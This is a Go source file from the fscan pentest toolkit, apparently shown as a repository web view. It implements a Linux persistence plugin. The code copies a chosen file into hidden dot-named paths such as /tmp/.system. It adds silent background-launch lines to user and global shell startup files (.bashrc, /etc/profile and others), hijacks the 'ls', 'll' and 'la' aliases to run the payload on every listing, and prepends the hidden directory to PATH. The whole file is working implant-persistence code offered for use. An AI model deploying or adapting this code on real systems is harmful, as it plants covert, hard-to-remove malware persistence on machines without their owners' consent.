fscan/Plugins/local/shellenv/plugin.go
ZacharyZcR b89bf4b0da refactor: 规范本地插件编译标签和注册架构
- 为所有平台特定插件添加正确的编译标签
  - Linux插件添加 //go:build linux 标签
  - Windows插件添加 //go:build windows 标签
- 重构本地插件注册方式
  - 从main.go移至core包统一管理
  - 创建平台特定的注册文件实现条件编译
- 修正参数文档中minidump平台支持描述
- 优化插件注册架构,提升代码组织性
2025-08-11 21:36:14 +08:00

422 lines
11 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//go:build linux
package shellenv
import (
"context"
"fmt"
"os"
"os/user"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// ShellEnvPlugin Shell环境变量持久化插件 - 使用简化架构
type ShellEnvPlugin struct {
*local.BaseLocalPlugin
targetFile string
}
// NewShellEnvPlugin 创建Shell环境变量持久化插件 - 简化版本
func NewShellEnvPlugin() *ShellEnvPlugin {
// 从全局参数获取目标文件路径
targetFile := common.PersistenceTargetFile
if targetFile == "" {
targetFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "shellenv",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux Shell环境变量持久化插件通过修改shell配置文件实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "linux", "shell", "environment"},
Protocols: []string{"local"},
}
plugin := &ShellEnvPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
targetFile: targetFile,
}
// 只支持Linux平台
plugin.SetPlatformSupport([]string{"linux"})
// 需要写入用户配置文件的权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// Initialize 初始化插件
func (p *ShellEnvPlugin) Initialize() error {
if p.targetFile == "" {
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行Shell环境变量持久化 - 简化版本
func (p *ShellEnvPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
if runtime.GOOS != "linux" {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("Shell环境变量持久化只支持Linux平台"),
}, nil
}
common.LogBase("开始Shell环境变量持久化...")
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
// 执行持久化操作
results := make([]string, 0)
// 1. 复制文件到隐藏目录
hiddenPath, err := p.copyToHiddenPath()
if err != nil {
common.LogError(fmt.Sprintf("复制文件失败: %v", err))
} else {
results = append(results, fmt.Sprintf("文件已复制到: %s", hiddenPath))
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", hiddenPath))
}
// 2. 添加到用户shell配置文件
userConfigs, err := p.addToUserConfigs(hiddenPath)
if err != nil {
common.LogError(fmt.Sprintf("添加到用户配置失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已添加到用户配置: %s", strings.Join(userConfigs, ", ")))
common.LogSuccess("已添加到用户shell配置")
}
// 3. 添加到全局shell配置文件
globalConfigs, err := p.addToGlobalConfigs(hiddenPath)
if err != nil {
common.LogError(fmt.Sprintf("添加到全局配置失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已添加到全局配置: %s", strings.Join(globalConfigs, ", ")))
common.LogSuccess("已添加到全局shell配置")
}
// 4. 创建启动别名
aliasConfigs, err := p.addAliases(hiddenPath)
if err != nil {
common.LogError(fmt.Sprintf("创建别名失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已创建别名: %s", strings.Join(aliasConfigs, ", ")))
common.LogSuccess("已创建命令别名")
}
// 5. 添加PATH环境变量
err = p.addToPath(filepath.Dir(hiddenPath))
if err != nil {
common.LogError(fmt.Sprintf("添加PATH失败: %v", err))
} else {
results = append(results, "已添加到PATH环境变量")
common.LogSuccess("已添加到PATH环境变量")
}
success := len(results) > 0
result := &base.ScanResult{
Success: success,
Service: "ShellEnvPersistence",
Banner: fmt.Sprintf("Shell环境变量持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
Extra: map[string]interface{}{
"target_file": p.targetFile,
"platform": runtime.GOOS,
"methods": results,
"status": "completed",
},
}
return result, nil
}
// copyToHiddenPath 复制文件到隐藏目录
func (p *ShellEnvPlugin) copyToHiddenPath() (string, error) {
// 获取用户主目录
usr, err := user.Current()
if err != nil {
return "", err
}
// 创建隐藏目录
hiddenDirs := []string{
filepath.Join(usr.HomeDir, ".local", "bin"),
filepath.Join(usr.HomeDir, ".config"),
"/tmp/.system",
"/var/tmp/.cache",
}
var targetDir string
for _, dir := range hiddenDirs {
if err := os.MkdirAll(dir, 0755); err == nil {
targetDir = dir
break
}
}
if targetDir == "" {
return "", fmt.Errorf("无法创建目标目录")
}
// 生成隐藏文件名
basename := filepath.Base(p.targetFile)
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
if p.isScriptFile() {
hiddenName += ".sh"
}
targetPath := filepath.Join(targetDir, hiddenName)
// 复制文件
err = p.copyFile(p.targetFile, targetPath)
if err != nil {
return "", err
}
// 设置执行权限
os.Chmod(targetPath, 0755)
return targetPath, nil
}
// copyFile 复制文件内容
func (p *ShellEnvPlugin) copyFile(src, dst string) error {
sourceData, err := os.ReadFile(src)
if err != nil {
return err
}
return os.WriteFile(dst, sourceData, 0755)
}
// addToUserConfigs 添加到用户shell配置文件
func (p *ShellEnvPlugin) addToUserConfigs(execPath string) ([]string, error) {
usr, err := user.Current()
if err != nil {
return nil, err
}
configFiles := []string{
filepath.Join(usr.HomeDir, ".bashrc"),
filepath.Join(usr.HomeDir, ".profile"),
filepath.Join(usr.HomeDir, ".bash_profile"),
filepath.Join(usr.HomeDir, ".zshrc"),
}
var modified []string
execLine := p.generateExecLine(execPath)
for _, configFile := range configFiles {
if p.addToConfigFile(configFile, execLine) {
modified = append(modified, configFile)
}
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法修改任何用户配置文件")
}
return modified, nil
}
// addToGlobalConfigs 添加到全局shell配置文件
func (p *ShellEnvPlugin) addToGlobalConfigs(execPath string) ([]string, error) {
configFiles := []string{
"/etc/bash.bashrc",
"/etc/profile",
"/etc/zsh/zshrc",
"/etc/profile.d/custom.sh",
}
var modified []string
execLine := p.generateExecLine(execPath)
for _, configFile := range configFiles {
// 对于profile.d需要先创建目录
if strings.Contains(configFile, "profile.d") {
os.MkdirAll(filepath.Dir(configFile), 0755)
}
if p.addToConfigFile(configFile, execLine) {
modified = append(modified, configFile)
}
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法修改任何全局配置文件")
}
return modified, nil
}
// addAliases 添加命令别名
func (p *ShellEnvPlugin) addAliases(execPath string) ([]string, error) {
usr, err := user.Current()
if err != nil {
return nil, err
}
aliasFiles := []string{
filepath.Join(usr.HomeDir, ".bash_aliases"),
filepath.Join(usr.HomeDir, ".aliases"),
}
// 生成常用命令别名
aliases := []string{
fmt.Sprintf("alias ls='%s; /bin/ls'", execPath),
fmt.Sprintf("alias ll='%s; /bin/ls -l'", execPath),
fmt.Sprintf("alias la='%s; /bin/ls -la'", execPath),
}
var modified []string
for _, aliasFile := range aliasFiles {
content := strings.Join(aliases, "\n") + "\n"
if p.addToConfigFile(aliasFile, content) {
modified = append(modified, aliasFile)
}
}
return modified, nil
}
// addToPath 添加到PATH环境变量
func (p *ShellEnvPlugin) addToPath(dirPath string) error {
usr, err := user.Current()
if err != nil {
return err
}
configFile := filepath.Join(usr.HomeDir, ".bashrc")
pathLine := fmt.Sprintf("export PATH=\"%s:$PATH\"", dirPath)
if p.addToConfigFile(configFile, pathLine) {
return nil
}
return fmt.Errorf("无法添加PATH环境变量")
}
// addToConfigFile 添加内容到配置文件
func (p *ShellEnvPlugin) addToConfigFile(configFile, content string) bool {
// 读取现有内容
existingContent := ""
if data, err := os.ReadFile(configFile); err == nil {
existingContent = string(data)
}
// 检查是否已存在
if strings.Contains(existingContent, content) {
return true // 已存在,视为成功
}
// 添加新内容
if !strings.HasSuffix(existingContent, "\n") && existingContent != "" {
existingContent += "\n"
}
existingContent += content + "\n"
// 写入文件
return os.WriteFile(configFile, []byte(existingContent), 0644) == nil
}
// generateExecLine 生成执行命令行
func (p *ShellEnvPlugin) generateExecLine(execPath string) string {
if p.isScriptFile() {
return fmt.Sprintf("bash %s >/dev/null 2>&1 &", execPath)
} else {
return fmt.Sprintf("%s >/dev/null 2>&1 &", execPath)
}
}
// isScriptFile 检查是否为脚本文件
func (p *ShellEnvPlugin) isScriptFile() bool {
ext := strings.ToLower(filepath.Ext(p.targetFile))
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
}
// GetLocalData 获取Shell环境变量持久化本地数据
func (p *ShellEnvPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "shellenv"
data["platform"] = runtime.GOOS
data["target_file"] = p.targetFile
data["persistence_method"] = "Shell Environment"
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
return data, nil
}
// ExtractData 提取数据
func (p *ShellEnvPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("Shell环境变量持久化完成目标文件: %s", p.targetFile),
Data: data,
Extra: map[string]interface{}{
"target_file": p.targetFile,
"persistence_method": "Shell Environment",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *ShellEnvPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("Shell环境变量持久化插件\n")
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
info.WriteString("支持平台: Linux\n")
info.WriteString("功能: 通过修改shell配置文件实现持久化\n")
info.WriteString("方法: .bashrc、.profile、别名、PATH环境变量\n")
info.WriteString("支持文件: .sh脚本和ELF可执行文件\n")
return info.String()
}
// RegisterShellEnvPlugin 注册Shell环境变量持久化插件
func RegisterShellEnvPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "shellenv",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux Shell环境变量持久化插件通过修改shell配置文件实现持久化",
Category: "local",
Tags: []string{"shellenv", "local", "persistence", "linux"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewShellEnvPlugin()
},
)
base.GlobalPluginRegistry.Register("shellenv", factory)
}
// init 插件注册函数
func init() {
RegisterShellEnvPlugin()
}